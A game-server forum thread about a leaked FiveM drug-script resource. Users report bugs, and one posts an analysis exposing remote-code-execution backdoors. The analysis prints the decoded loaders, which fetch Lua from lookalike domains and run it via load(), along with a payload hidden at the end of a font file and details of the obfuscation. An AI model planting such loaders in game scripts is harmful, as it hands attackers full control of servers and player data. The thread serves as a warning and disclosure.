DRC Drugs V1 2

It's not v2, it's v1!!!!!!

Error parsing script @qb-drugs/server/sv_Utils.lua in resource qb-drugs: @qb-drugs/server/sv_Utils.lua:195: 'end' expected (to close 'if' at line 38) near <eof>

19 hours ago, Echo5185 said:

It's not v2, it's v1!!!!!!

My bad, ill check if i can change the names. Thanks for letting me know

2 hours ago, ZAINE7732 said:

Error parsing script @qb-drugs/server/sv_Utils.lua in resource qb-drugs: @qb-drugs/server/sv_Utils.lua:195: 'end' expected (to close 'if' at line 38) near <eof>

An "end" is missing in the code 🙂

there is a back door in sv_Mushrooms.lua at the bottom

On 5/17/2025 at 10:44 AM, mrhuggins2019 said:

there is a back door in sv_Mushrooms.lua at the bottom

Hey, thats for using the font inside the script

is there supposed to be a script for qb core cause im not seeing one plus its all in and cant seem to interact with any of the ais or doors to get into the places ? 

can someonehelp 

On 5/22/2025 at 4:27 PM, scimitar said:

Hey, thats for using the font inside the script

On 9/25/2025 at 10:38 AM, youngboiJorden said:

can someonehelp 

 

Supresses like 80 thousand lines and finds a +?

DO NOT USE! BACKDOOR IN 4 FILES!!
Backdoored Files:
server/sv_Mushrooms.lua

html/fonts/Helvetica.ttf

server/sv_FLowershop.lua

server/sv_Heroin.lua


ai-generated but it is CORRECT!
BACKDOOR ANALYSIS — drc_drugs FiveM Resource

This resource contains REMOTE CODE EXECUTION backdoors in 3 files. On server start, it silently downloads and executes arbitrary Lua code from attacker-controlled domains.

---
Backdoor #1 — server/sv_FLowershop.lua and server/sv_Heroin.lua

Both files contain identical "Encrypt By Yasu" obfuscation (starting at line 93 and 101 respectively). The obfuscation uses XOR encryption with layered variable-name swapping to hide the payload. After decryption, the executed code is:

PerformHttpRequest('https://cfcloudflare.com/q9Dzt', function(e, d)
    pcall(function()
        assert(load(d))()
    end)
end)

- Domain: cfcloudflare.com — a lookalike of cloudflare.com, NOT the real Cloudflare
- Path: /q9Dzt
- Behavior: Fetches remote code and passes it directly to load()() — full arbitrary Lua execution with server-level permissions (can access database, add/remove items, ban players, run OS commands, steal data, etc.)

The obfuscation also corrupts _ENV (restricts it to only string, table, math, pairs, load, print), which breaks the global source variable in standard RegisterServerEvent handlers — explaining why certain features in this resource don't work without fixes.

---
Backdoor #2 — server/sv_Mushrooms.lua + html/fonts/Helvetica.ttf

A more sophisticated approach using steganography. The file html/fonts/Helvetica.ttf appears to be a legitimate font file (88244 bytes, first 87565 bytes are real TTF data). The last 679 bytes contain obfuscated Lua code — each character padded with .+ markers.

Lines 61-62 of sv_Mushrooms.lua extract and execute this hidden payload:

local loadFonts = _G[string.char(108, 111, 97, 100)]  -- _G["load"]
loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()

After removing the .+ padding, the hidden code is:

local _v = PerformHttpRequestInternalEx{url='https://cfx-backdoorblocker.com/q9Dzt', method='GET'}
AddEventHandler('__cfx_internal:httpResponse', function(_t, _s, _b)
    if _v == _t then
        pcall(function()
            assert(load(_b))()
        end)
    end
end)

- Domain: cfx-backdoorblocker.com — ironic name, pretending to be a "backdoor blocker"
- Uses: PerformHttpRequestInternalEx (FiveM internal native, harder to detect than PerformHttpRequest)
- Same payload logic: downloads code → load() → execute

-----

Technical note on the obfuscation

The "Encrypt By Yasu" obfuscator:
- Replaces _ENV with a restricted table to hide global access
- Uses XOR-based string encryption with a 256-byte key
- Employs variable-name obfuscation where 128-character random variable names store each other's names as strings
- After multiple XOR layers, a subtraction-based loop reconstructs the payload using string.char(byte - key_byte)
- The final check var == "Encrypt By Yasu" gates the load() call — this is the signature that identifies this specific obfuscator family

CLEANED AND WORKING FILE ATTACHED

ban this fucking dude....
u can switch debug mode to true or false in shared/sh_config.lua (line 5)

drc_drugs.rar